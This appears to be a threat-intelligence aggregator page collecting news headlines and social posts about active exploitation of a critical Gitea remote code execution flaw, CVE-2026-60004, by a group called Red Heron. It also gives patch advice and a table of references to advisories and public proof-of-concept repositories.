news helpnetsecurity.com 2026-09-22 07:00 UTCAttacker compromised nearly 1000 Zyxel switches since August (CVE-2026-7273) - Help Net SecurityOpen source
-
social bsky.app @technoholic.bsky.social 2026-09-17 19:32 UTCRed Heron, a suspected Chinese threat actor, rapidly exploited a Gitea vulnerability, scanning 1,386 instances across 7 countries, including 477 Taiwan systems.Open source
-
social bsky.app @jhuntinfosec.com 2026-09-17 18:54 UTCwww.acronis.com/en/tru/posts...Open source
-
social bsky.app @cyberveille-ch.bsky.social 2026-09-17 15:00 UTC📢 Red Heron exploite CVE-2026-60004 dans Gitea pour déployer un rootkit Linux inédit L'Acronis Threat Research Unit (TRU) a publié le 13 septembre 2026 une analyse détaillée d'une campagne multinationale menée par un acteur… 🟢 vérification…Open source
-
social bsky.app @alienrick.xyz 2026-09-17 02:42 UTCForty-eight hours, Morty. Acronis says Red Heron flipped a public Gitea RCE—CVE-2026-60004—into an automated heist across ~1,386 boxes. Defense, elections, energy nested. Self-hosted git as a spy gift shop. Your patch calendar just auction…Open source
-
social bsky.app @oxfemale.bsky.social 2026-09-16 10:10 UTCOriginal text: "Red Heron exploits Gitea n-day flaw in multinational campaign, exposing new Linux rootkit" — Subhajeet Singha, Acronis Threat Research Unit (13 September 2026). Figures, sector/command/IOC tables and publish https://core-jm…Open source
-
social bsky.app @mel-echosphere.bsky.social 2026-09-16 01:01 UTC公開PoCが出た瞬間、宿題が始まるんじゃねぇ。自動化のスタートだ。💎 Red Heron、GiteaのCVE-2026-60004。公開PoCを数日で自動登録→侵害→リポジトリ窃取まで組んだ。1,386台を7か国でスキャン。台湾の1環境ではProxmoxクラスタ3台のrootまで届いてる。 https://www.acronis.com/en/tru/posts/red-heron-exploits-gitea-n-day-flaw-in-multinational-cam…Open source
-
social bsky.app @r-netsec-bot.bsky.social 2026-09-15 18:13 UTCRed Heron exploits Gitea n-day flaw in multinational campaign, exposing new Linux rootkitOpen source
-
social bsky.app @threadlinqs.bsky.social 2026-09-15 14:35 UTCA Gitea RCE, a stealth Linux rootkit, and a China-linked actor pivoting straight to root access. https://intel.threadlinqs.com/threat/TL-2026-2516 #ThreatIntel #CVE_2026_60004 #JITTERLY #SIXZUTOpen source
-
social bsky.app @thedailytechfeed.com 2026-09-15 10:19 UTCCritical Gitea RCE bug CVE-2026-60004 in versions 1.17-1.27.0 now in live attacks—upgrade ASAP. #Security #CVE2026-60004 #Gitea #RCE #Infosec #CyberAttack https://thedailytechfeed.com/critical-gitea-rce-vulnerability-under-active-attack-wh…Open source
-
social bsky.app @sean-t.bsky.social 2026-09-15 09:57 UTC中國駭客Red Heron利用Gitea重大漏洞攻擊臺灣等多個國家 | iThome www.ithome.com.tw/news/178932Open source
-
social bsky.app @virusbtn.bsky.social 2026-09-15 08:43 UTCAcronis TRU uncovered a multinational campaign in which Red Heron, a Chinese-speaking threat actor, rapidly weaponized CVE-2026-60004 to compromise internet-facing instances of Gitea, a self-hosted source-code management platform. www.acro…Open source
-
news gbhackers.com 2026-09-15 07:00 UTCRed Heron Hackers Exploit Critical Gitea RCE to Steal Source Code and Deploy Linux Rootkit - GBHackers NewsOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-09-15 06:45 UTCRed Heron weaponized a Gitea n-day to steal source code and creds, then deployed JITTERLY with the SIXZUT rootkit for persistence and lateral movement across Proxmox, Synology NAS, and other systems. #Gitea #China #RootkitOpen source
-
social bsky.app @securitycyebruk.bsky.social 2026-09-14 19:09 UTCRed Heron, a China-linked group, has automated exploitation of Gitea RCE CVE-2026-60004, hitting 13 orgs in 6 countries per Acronis TRU. Patch Gitea now. https://thehackernews.com/2026/09/red-heron-exploits-gitea-rce-to.htmlOpen source
-
code github.com erberkan 2026-09-14 15:55 UTCerberkan/CVE-2026-60004-PoCOpen source
-
news thehackernews.com 2026-09-14 07:00 UTCRed Heron Exploits Gitea RCE to Compromise 13 Organizations Across Six Countries - The Hacker NewsOpen source
-
news acronis.com 2026-09-13 07:00 UTCRed Heron exploits Gitea n-day flaw in multinational campaign, exposing new Linux rootkit - AcronisOpen source
-
social bsky.app @vulnsea.com 2026-09-08 19:08 UTC🌑 HADAL · actively exploited critical CVE-2026-60004: Gitea: Remote Code Execution via diffpatch Git Hook Installation CVSS 9.8 · EPSS 86.8% · CISA KEV · 0day https://beta.vulnsea.com/cve/CVE-2026-60004 #CVE #infosec #cybersecurity #threat…Open source
-
social bsky.app @yazoul-alerts.bsky.social 2026-09-02 11:59 UTCCISA just confirmed active exploitation of a Gitea RCE. The payload? A miner. https://www.yazoul.net/news/article/critical-gitea-rce-actively-exploited-as-reported-attack-drops-miner-like-payloa/ by Yazoul AI #CVE #CyberSecurityOpen source
-
social bsky.app @pmloik.bsky.social 2026-09-02 06:22 UTCTop 3 CVE for last 7 days: CVE-2026-41992: 41 interactions CVE-2026-60004: 16 interactions CVE-2026-65641: 13 interactions Top 3 CVE for yesterday: CVE-2026-62911: 10 interactions CVE-2026-70551: 8 interactions CVE-2026-83548: 7 interactio…Open source
-
social bsky.app @yazoul-alerts.bsky.social 2026-09-01 19:15 UTC🚨 CVSS 9.8. Unauthenticated. PaperCut. CVE-2026-81578. https://www.yazoul.net/news/article/critical-gitea-rce-actively-exploited-as-reported-attack-drops-miner-like-payloa/ by Yazoul AI #CVE #CyberSecurityOpen source
-
social bsky.app @yazoul-alerts.bsky.social 2026-09-01 12:25 UTCCISA just confirmed the exploit you haven't patched yet. CVE-2026-60004. https://www.yazoul.net/malware/vidar-2026-08/reports/2026-08-30/ by Yazoul AI #CyberSecurity #SecurityOpen source
-
social bsky.app @pmloik.bsky.social 2026-09-01 06:44 UTCTop 3 CVE for last 7 days: CVE-2026-41992: 43 interactions CVE-2026-60004: 21 interactions CVE-2026-65641: 13 interactions Top 3 CVE for yesterday: CVE-2025-62626: 10 interactions CVE-2023-28252: 8 interactions CVE-2026-81578: 6 interactio…Open source
-
social bsky.app @icsda.bsky.social 2026-08-31 22:09 UTCAI帳號不保?Claude用戶被竊密,你們的prompt都露餡啦!😂微軟Defender還在玩『狼來了』,顯示關閉但其實沒事?資安麻痺症頭小心發作!💊更絕的是Gitea,CVE-2026-60004『未來漏洞』提前爆,8000台系統裸奔中!這操作,是要預約明年頭條嗎?😱 資安老鳥提醒:別把預設當防護,定期檢查、更新才是王道!#資安老司機 #AI資安 #漏洞預言家Open source
-
social bsky.app @yazoul-alerts.bsky.social 2026-08-31 21:21 UTCCVE-2026-60004. Gitea before 1.27.1. CVSS 9.8. https://www.yazoul.net/news/article/critical-gitea-rce-actively-exploited-as-reported-attack-drops-miner-like-payloa/ by Yazoul AI #CyberSecurity #SecurityOpen source
-
social bsky.app @securityonline.bsky.social 2026-08-31 12:01 UTCDiscover how a critical Gitea RCE vulnerability, combined with open registration, leaves thousands of servers exposed to ongoing cyberattacks. #Gitea #RCEVulnerability #CyberSecurity #InfoSec #CVE202660004Open source
-
social bsky.app @pmloik.bsky.social 2026-08-31 07:34 UTCTop 3 CVE for last 7 days: CVE-2026-41992: 43 interactions CVE-2026-60004: 20 interactions CVE-2026-73570: 17 interactions Top 3 CVE for yesterday: CVE-2026-53362: 3 interactions CVE-2026-82657: 2 interactions CVE-2026-55565: 1 interactionsOpen source
-
social bsky.app @threatspotai.bsky.social 2026-08-31 06:30 UTC🚨 CISA KEV Alert CVE-2026-60004: ⚠️ CVE-2026-60004: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 84.6% Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-60004-gitea-befor…Open source
-
social bsky.app @yazoul-alerts.bsky.social 2026-08-30 19:07 UTC🚨 CVSS 9.8. Unauthenticated RCE. Patch your Gitea before someone patches it for you. https://www.yazoul.net/advisory/cve/cve-2026-60004-gitea-unauthenticated-rce-exploited-in-wild-poc/ by Yazoul AI #InfoSec #DataBreachOpen source
-
social bsky.app @yazoul-alerts.bsky.social 2026-08-30 12:39 UTCCISA just flagged a Gitea RCE as actively exploited. Your self-hosted instance is next on the scan list. CVE-2026-60004. https://www.yazoul.net/news/article/critical-gitea-rce-actively-exploited-as-reported-attack-drops-miner-like-payloa/…Open source
-
social bsky.app @pmloik.bsky.social 2026-08-30 07:19 UTCTop 3 CVE for last 7 days: CVE-2026-41992: 43 interactions CVE-2026-73570: 20 interactions CVE-2026-60004: 19 interactions Top 3 CVE for yesterday: CVE-2026-53362: 3 interactions CVE-2026-47876: 2 interactions CVE-2026-55843: 2 interactionsOpen source
-
news helpnetsecurity.com 2026-08-30 07:00 UTCWeek in review: Compromised Zimbra servers, previously patched Citrix NetScaler flaw exploited - Help Net SecurityOpen source
-
social bsky.app @yazoul-alerts.bsky.social 2026-08-29 19:16 UTCCVSS 9.8. Unauthenticated RCE. Gitea. Patch now. CVE-2026-60004 hits Gitea before 1.27.1. https://www.yazoul.net/advisory/cve/cve-2026-60004-gitea-unauthenticated-rce-exploited-in-wild-poc/ by Yazoul AI #CyberSecurity #PatchNowOpen source
-
social bsky.app @techoverload.bsky.social 2026-08-29 13:38 UTCMore than 8,300 internet-exposed Gitea servers are still vulnerable to CVE-2026-60004, now under active attack. If you self-host Gitea, update to 1.27.1 or newer and check for compromise—not just patch and move on. 🔒 #Security #SelfHosting…Open source
-
social bsky.app @cyfar.ca 2026-08-29 13:12 UTC~Cybergcca~ Gitea RCE CVE-2026-60004 is in CISA KEV; update affected Gitea, OpenSSL and WatchGuard products. - IOCs: CVE-2026-60004 - #CVE-2026-60004 #ThreatIntel #VulnerabilityOpen source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-60004 |
| blog.gitea.com |
GitHub CVE
|
https://blog.gitea.com/release-of-1.27.1/ |
| github.com |
GitHub CVE
|
https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m |
| runzero.com |
GitHub CVE
|
https://www.runzero.com/blog/gitea/ |
| github.com |
GitHub CVE
|
https://github.com/0xBlackash/CVE-2026-60004 |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004 |